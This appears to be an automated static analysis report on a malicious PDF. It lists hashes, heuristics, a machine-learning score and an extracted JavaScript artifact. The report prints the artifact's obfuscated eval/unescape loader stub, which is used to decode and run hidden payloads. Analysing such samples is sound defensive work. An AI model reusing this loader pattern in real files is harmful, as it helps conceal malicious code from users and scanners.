Malicious PDF — malware analysis report

Static analysis result for SHA-256 8a09454a77c7401b…

MALICIOUS

PDF

41.7 KB First seen: 2026-05-10
MD5: 5871a4e660492829dff2d19db221c2af SHA-1: 94c5d757a46eedf720ddd8eaaec5f059c159add5 SHA-256: 8a09454a77c7401bcfb958e742806558e26f82627381a9ed351cbf3522307b41
126 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The extracted artifact 'javascript_obj0012_000.js' suggests obfuscated script content. This script is likely designed to download and execute a secondary payload, which is a common technique for initial access. The presence of XFA form elements (PDF_XFA) and String.fromCharCode usage (PDF_FROMCHARCODE) further support the suspicious nature of the document.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 6

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      eva("eva(un"+String.fromCharCode(101)+"scape(output));");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xci/2.6/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.6/In PDF document text

Related samples 7

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0xA215 250 bytes
SHA-256: 6d1dd47220085c7d8e54994ce43dd78047bd102b502a25ae9fd0698ec72f0100
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var eva=new Function("a","ev       a     l        (a);".split(" ").join(""));
       var s='';
    var output = "";
		for (cv=0;cv<s.length;cv+=2) output += "%"+s[cv]+s[cv+1];
		eva("eva(un"+String.fromCharCode(101)+"scape(output));");

Open this report in the interactive analyzer, or submit your own file for analysis.